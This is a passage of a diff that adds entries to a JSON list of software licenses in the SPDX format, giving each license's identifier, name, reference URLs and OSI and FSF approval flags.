+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OFL-1.1.json",
+ "referenceNumber": 305,
+ "name": "SIL Open Font License 1.1",
+ "licenseId": "OFL-1.1",
+ "seeAlso": [
+ "http://scripts.sil.org/cms/scripts/page.php?item_id\u003dOFL_web",
+ "https://opensource.org/licenses/OFL-1.1"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/NPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NPL-1.0.json",
+ "referenceNumber": 306,
+ "name": "Netscape Public License v1.0",
+ "licenseId": "NPL-1.0",
+ "seeAlso": [
+ "http://www.mozilla.org/MPL/NPL/1.0/"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/xinetd.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/xinetd.json",
+ "referenceNumber": 307,
+ "name": "xinetd License",
+ "licenseId": "xinetd",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Xinetd_License"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-2.0-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-2.0-only.json",
+ "referenceNumber": 308,
+ "name": "GNU Library General Public License v2 only",
+ "licenseId": "LGPL-2.0-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/lgpl-2.0-standalone.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/zlib-acknowledgement.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/zlib-acknowledgement.json",
+ "referenceNumber": 309,
+ "name": "zlib/libpng License with Acknowledgement",
+ "licenseId": "zlib-acknowledgement",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/ZlibWithAcknowledgement"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.2.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.2.1.json",
+ "referenceNumber": 310,
+ "name": "Open LDAP Public License v2.2.1",
+ "licenseId": "OLDAP-2.2.1",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003d4bc786f34b50aa301be6f5600f58a980070f481e"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/APSL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/APSL-1.0.json",
+ "referenceNumber": 311,
+ "name": "Apple Public Source License 1.0",
+ "licenseId": "APSL-1.0",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Apple_Public_Source_License_1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-3-Clause-LBNL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-3-Clause-LBNL.json",
+ "referenceNumber": 312,
+ "name": "Lawrence Berkeley National Labs BSD variant license",
+ "licenseId": "BSD-3-Clause-LBNL",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/LBNLBSD"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GLWTPL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GLWTPL.json",
+ "referenceNumber": 313,
+ "name": "Good Luck With That Public License",
+ "licenseId": "GLWTPL",
+ "seeAlso": [
+ "https://github.com/me-shaon/GLWTPL/commit/da5f6bc734095efbacb442c0b31e33a65b9d6e85"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-3.0-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-3.0-only.json",
+ "referenceNumber": 314,
+ "name": "GNU Lesser General Public License v3.0 only",
+ "licenseId": "LGPL-3.0-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/lgpl-3.0-standalone.html",
+ "https://opensource.org/licenses/LGPL-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OGC-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OGC-1.0.json",
+ "referenceNumber": 315,
+ "name": "OGC Software License, Version 1.0",
+ "licenseId": "OGC-1.0",
+ "seeAlso": [
+ "https://www.ogc.org/ogc/software/1.0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Dotseqn.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Dotseqn.json",
+ "referenceNumber": 316,
+ "name": "Dotseqn License",
+ "licenseId": "Dotseqn",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Dotseqn"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/MakeIndex.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MakeIndex.json",
+ "referenceNumber": 317,
+ "name": "MakeIndex License",
+ "licenseId": "MakeIndex",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/MakeIndex"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-3.0-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GPL-3.0-only.json",
+ "referenceNumber": 318,
+ "name": "GNU General Public License v3.0 only",
+ "licenseId": "GPL-3.0-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/gpl-3.0-standalone.html",
+ "https://opensource.org/licenses/GPL-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-3-Clause-No-Nuclear-License-2014.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-3-Clause-No-Nuclear-License-2014.json",
+ "referenceNumber": 319,
+ "name": "BSD 3-Clause No Nuclear License 2014",
+ "licenseId": "BSD-3-Clause-No-Nuclear-License-2014",
+ "seeAlso": [
+ "https://java.net/projects/javaeetutorial/pages/BerkeleyLicense"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-1.0-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GPL-1.0-only.json",
+ "referenceNumber": 320,
+ "name": "GNU General Public License v1.0 only",
+ "licenseId": "GPL-1.0-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/gpl-1.0-standalone.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/IJG.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/IJG.json",
+ "referenceNumber": 321,
+ "name": "Independent JPEG Group License",
+ "licenseId": "IJG",
+ "seeAlso": [
+ "http://dev.w3.org/cvsweb/Amaya/libjpeg/Attic/README?rev\u003d1.2"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/AGPL-1.0-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AGPL-1.0-or-later.json",
+ "referenceNumber": 322,
+ "name": "Affero General Public License v1.0 or later",
+ "licenseId": "AGPL-1.0-or-later",
+ "seeAlso": [
+ "http://www.affero.org/oagpl.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OFL-1.1-no-RFN.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OFL-1.1-no-RFN.json",
+ "referenceNumber": 323,
+ "name": "SIL Open Font License 1.1 with no Reserved Font Name",
+ "licenseId": "OFL-1.1-no-RFN",
+ "seeAlso": [
+ "http://scripts.sil.org/cms/scripts/page.php?item_id\u003dOFL_web",
+ "https://opensource.org/licenses/OFL-1.1"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSL-1.0.json",
+ "referenceNumber": 324,
+ "name": "Boost Software License 1.0",
+ "licenseId": "BSL-1.0",
+ "seeAlso": [
+ "http://www.boost.org/LICENSE_1_0.txt",
+ "https://opensource.org/licenses/BSL-1.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Libpng.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Libpng.json",
+ "referenceNumber": 325,
+ "name": "libpng License",
+ "licenseId": "Libpng",
+ "seeAlso": [
+ "http://www.libpng.org/pub/png/src/libpng-LICENSE.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-3.0.json",
+ "referenceNumber": 326,
+ "name": "Creative Commons Attribution Non Commercial 3.0 Unported",
+ "licenseId": "CC-BY-NC-3.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc/3.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-2.0.json",
+ "referenceNumber": 327,
+ "name": "Creative Commons Attribution Non Commercial 2.0 Generic",
+ "licenseId": "CC-BY-NC-2.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc/2.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Unlicense.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Unlicense.json",
+ "referenceNumber": 328,
+ "name": "The Unlicense",
+ "licenseId": "Unlicense",
+ "seeAlso": [
+ "https://unlicense.org/"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/LPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LPL-1.0.json",
+ "referenceNumber": 329,
+ "name": "Lucent Public License Version 1.0",
+ "licenseId": "LPL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/LPL-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/bzip2-1.0.5.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/bzip2-1.0.5.json",
+ "referenceNumber": 330,
+ "name": "bzip2 and libbzip2 License v1.0.5",
+ "licenseId": "bzip2-1.0.5",
+ "seeAlso": [
+ "https://sourceware.org/bzip2/1.0.5/bzip2-manual-1.0.5.html",
+ "http://bzip.org/1.0.5/bzip2-manual-1.0.5.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Entessa.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Entessa.json",
+ "referenceNumber": 331,
+ "name": "Entessa Public License v1.0",
+ "licenseId": "Entessa",
+ "seeAlso": [
+ "https://opensource.org/licenses/Entessa"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-2-Clause-Patent.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-2-Clause-Patent.json",
+ "referenceNumber": 332,
+ "name": "BSD-2-Clause Plus Patent License",
+ "licenseId": "BSD-2-Clause-Patent",
+ "seeAlso": [
+ "https://opensource.org/licenses/BSDplusPatent"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/ECL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ECL-2.0.json",
+ "referenceNumber": 333,
+ "name": "Educational Community License v2.0",
+ "licenseId": "ECL-2.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/ECL-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Crossword.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Crossword.json",
+ "referenceNumber": 334,
+ "name": "Crossword License",
+ "licenseId": "Crossword",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Crossword"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-ND-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-ND-1.0.json",
+ "referenceNumber": 335,
+ "name": "Creative Commons Attribution Non Commercial No Derivatives 1.0 Generic",
+ "licenseId": "CC-BY-NC-ND-1.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nd-nc/1.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OCLC-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OCLC-2.0.json",
+ "referenceNumber": 336,
+ "name": "OCLC Research Public License 2.0",
+ "licenseId": "OCLC-2.0",
+ "seeAlso": [
+ "http://www.oclc.org/research/activities/software/license/v2final.htm",
+ "https://opensource.org/licenses/OCLC-2.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CECILL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CECILL-1.1.json",
+ "referenceNumber": 337,
+ "name": "CeCILL Free Software License Agreement v1.1",
+ "licenseId": "CECILL-1.1",
+ "seeAlso": [
+ "http://www.cecill.info/licences/Licence_CeCILL_V1.1-US.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CECILL-2.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CECILL-2.1.json",
+ "referenceNumber": 338,
+ "name": "CeCILL Free Software License Agreement v2.1",
+ "licenseId": "CECILL-2.1",
+ "seeAlso": [
+ "http://www.cecill.info/licences/Licence_CeCILL_V2.1-en.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OGDL-Taiwan-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OGDL-Taiwan-1.0.json",
+ "referenceNumber": 339,
+ "name": "Taiwan Open Government Data License, version 1.0",
+ "licenseId": "OGDL-Taiwan-1.0",
+ "seeAlso": [
+ "https://data.gov.tw/license"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Abstyles.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Abstyles.json",
+ "referenceNumber": 340,
+ "name": "Abstyles License",
+ "licenseId": "Abstyles",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Abstyles"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/libselinux-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/libselinux-1.0.json",
+ "referenceNumber": 341,
+ "name": "libselinux public domain notice",
+ "licenseId": "libselinux-1.0",
+ "seeAlso": [
+ "https://github.com/SELinuxProject/selinux/blob/master/libselinux/LICENSE"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/ANTLR-PD.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ANTLR-PD.json",
+ "referenceNumber": 342,
+ "name": "ANTLR Software Rights Notice",
+ "licenseId": "ANTLR-PD",
+ "seeAlso": [
+ "http://www.antlr2.org/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-2.0-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GPL-2.0-or-later.json",
+ "referenceNumber": 343,
+ "name": "GNU General Public License v2.0 or later",
+ "licenseId": "GPL-2.0-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/gpl-2.0-standalone.html",
+ "https://opensource.org/licenses/GPL-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/IPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/IPL-1.0.json",
+ "referenceNumber": 344,
+ "name": "IBM Public License v1.0",
+ "licenseId": "IPL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/IPL-1.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MIT-enna.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MIT-enna.json",
+ "referenceNumber": 345,
+ "name": "enna License",
+ "licenseId": "MIT-enna",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/MIT#enna"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CPOL-1.02.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CPOL-1.02.json",
+ "referenceNumber": 346,
+ "name": "Code Project Open License 1.02",
+ "licenseId": "CPOL-1.02",
+ "seeAlso": [
+ "http://www.codeproject.com/info/cpol10.aspx"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-SA-3.0-AT.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-SA-3.0-AT.json",
+ "referenceNumber": 347,
+ "name": "Creative Commons Attribution Share Alike 3.0 Austria",
+ "licenseId": "CC-BY-SA-3.0-AT",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-sa/3.0/at/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-3.0-with-GCC-exception.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-3.0-with-GCC-exception.json",
+ "referenceNumber": 348,
+ "name": "GNU General Public License v3.0 w/GCC Runtime Library exception",
+ "licenseId": "GPL-3.0-with-GCC-exception",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/gcc-exception-3.1.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-1-Clause.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-1-Clause.json",
+ "referenceNumber": 349,
+ "name": "BSD 1-Clause License",
+ "licenseId": "BSD-1-Clause",
+ "seeAlso": [
+ "https://svnweb.freebsd.org/base/head/include/ifaddrs.h?revision\u003d326823"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/NTP-0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NTP-0.json",
+ "referenceNumber": 350,
+ "name": "NTP No Attribution",
+ "licenseId": "NTP-0",
+ "seeAlso": [
+ "https://github.com/tytso/e2fsprogs/blob/master/lib/et/et_name.c"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SugarCRM-1.1.3.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SugarCRM-1.1.3.json",
+ "referenceNumber": 351,
+ "name": "SugarCRM Public License v1.1.3",
+ "licenseId": "SugarCRM-1.1.3",
+ "seeAlso": [
+ "http://www.sugarcrm.com/crm/SPL"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/MIT.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MIT.json",
+ "referenceNumber": 352,
+ "name": "MIT License",
+ "licenseId": "MIT",
+ "seeAlso": [
+ "https://opensource.org/licenses/MIT"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OFL-1.1-RFN.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OFL-1.1-RFN.json",
+ "referenceNumber": 353,
+ "name": "SIL Open Font License 1.1 with Reserved Font Name",
+ "licenseId": "OFL-1.1-RFN",
+ "seeAlso": [
+ "http://scripts.sil.org/cms/scripts/page.php?item_id\u003dOFL_web",
+ "https://opensource.org/licenses/OFL-1.1"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Watcom-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Watcom-1.0.json",
+ "referenceNumber": 354,
+ "name": "Sybase Open Watcom Public License 1.0",
+ "licenseId": "Watcom-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/Watcom-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-SA-2.0-FR.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-SA-2.0-FR.json",
+ "referenceNumber": 355,
+ "name": "Creative Commons Attribution-NonCommercial-ShareAlike 2.0 France",
+ "licenseId": "CC-BY-NC-SA-2.0-FR",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-sa/2.0/fr/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/ODbL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ODbL-1.0.json",
+ "referenceNumber": 356,
+ "name": "Open Data Commons Open Database License v1.0",
+ "licenseId": "ODbL-1.0",
+ "seeAlso": [
+ "http://www.opendatacommons.org/licenses/odbl/1.0/",
+ "https://opendatacommons.org/licenses/odbl/1-0/"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/FSFULLR.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/FSFULLR.json",
+ "referenceNumber": 357,
+ "name": "FSF Unlimited License (with License Retention)",
+ "licenseId": "FSFULLR",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/FSF_Unlimited_License#License_Retention_Variant"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-1.3.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-1.3.json",
+ "referenceNumber": 358,
+ "name": "Open LDAP Public License v1.3",
+ "licenseId": "OLDAP-1.3",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003de5f8117f0ce088d0bd7a8e18ddf37eaa40eb09b1"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SSH-OpenSSH.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SSH-OpenSSH.json",
+ "referenceNumber": 359,
+ "name": "SSH OpenSSH license",
+ "licenseId": "SSH-OpenSSH",
+ "seeAlso": [
+ "https://github.com/openssh/openssh-portable/blob/1b11ea7c58cd5c59838b5fa574cd456d6047b2d4/LICENCE#L10"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-2-Clause.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-2-Clause.json",
+ "referenceNumber": 360,
+ "name": "BSD 2-Clause \"Simplified\" License",
+ "licenseId": "BSD-2-Clause",
+ "seeAlso": [
+ "https://opensource.org/licenses/BSD-2-Clause"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/HPND.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/HPND.json",
+ "referenceNumber": 361,
+ "name": "Historical Permission Notice and Disclaimer",
+ "licenseId": "HPND",
+ "seeAlso": [
+ "https://opensource.org/licenses/HPND"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Zimbra-1.3.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Zimbra-1.3.json",
+ "referenceNumber": 362,
+ "name": "Zimbra Public License v1.3",
+ "licenseId": "Zimbra-1.3",
+ "seeAlso": [
+ "http://web.archive.org/web/20100302225219/http://www.zimbra.com/license/zimbra-public-license-1-3.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Borceux.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Borceux.json",
+ "referenceNumber": 363,
+ "name": "Borceux license",
+ "licenseId": "Borceux",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Borceux"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-1.1.json",
+ "referenceNumber": 364,
+ "name": "Open LDAP Public License v1.1",
+ "licenseId": "OLDAP-1.1",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003d806557a5ad59804ef3a44d5abfbe91d706b0791f"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OFL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OFL-1.0.json",
+ "referenceNumber": 365,
+ "name": "SIL Open Font License 1.0",
+ "licenseId": "OFL-1.0",
+ "seeAlso": [
+ "http://scripts.sil.org/cms/scripts/page.php?item_id\u003dOFL10_web"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/NASA-1.3.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NASA-1.3.json",
+ "referenceNumber": 366,
+ "name": "NASA Open Source Agreement 1.3",
+ "licenseId": "NASA-1.3",
+ "seeAlso": [
+ "http://ti.arc.nasa.gov/opensource/nosa/",
+ "https://opensource.org/licenses/NASA-1.3"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/VOSTROM.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/VOSTROM.json",
+ "referenceNumber": 367,
+ "name": "VOSTROM Public License for Open Source",
+ "licenseId": "VOSTROM",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/VOSTROM"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/MIT-0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MIT-0.json",
+ "referenceNumber": 368,
+ "name": "MIT No Attribution",
+ "licenseId": "MIT-0",
+ "seeAlso": [
+ "https://github.com/aws/mit-0",
+ "https://romanrm.net/mit-zero",
+ "https://github.com/awsdocs/aws-cloud9-user-guide/blob/master/LICENSE-SAMPLECODE"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/ISC.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ISC.json",
+ "referenceNumber": 369,
+ "name": "ISC License",
+ "licenseId": "ISC",
+ "seeAlso": [
+ "https://www.isc.org/licenses/",
+ "https://www.isc.org/downloads/software-support-policy/isc-license/",
+ "https://opensource.org/licenses/ISC"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Unicode-DFS-2016.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Unicode-DFS-2016.json",
+ "referenceNumber": 370,
+ "name": "Unicode License Agreement - Data Files and Software (2016)",
+ "licenseId": "Unicode-DFS-2016",
+ "seeAlso": [
+ "http://www.unicode.org/copyright.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BlueOak-1.0.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BlueOak-1.0.0.json",
+ "referenceNumber": 371,
+ "name": "Blue Oak Model License 1.0.0",
+ "licenseId": "BlueOak-1.0.0",
+ "seeAlso": [
+ "https://blueoakcouncil.org/license/1.0.0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LiLiQ-Rplus-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LiLiQ-Rplus-1.1.json",
+ "referenceNumber": 372,
+ "name": "Licence Libre du Québec – Réciprocité forte version 1.1",
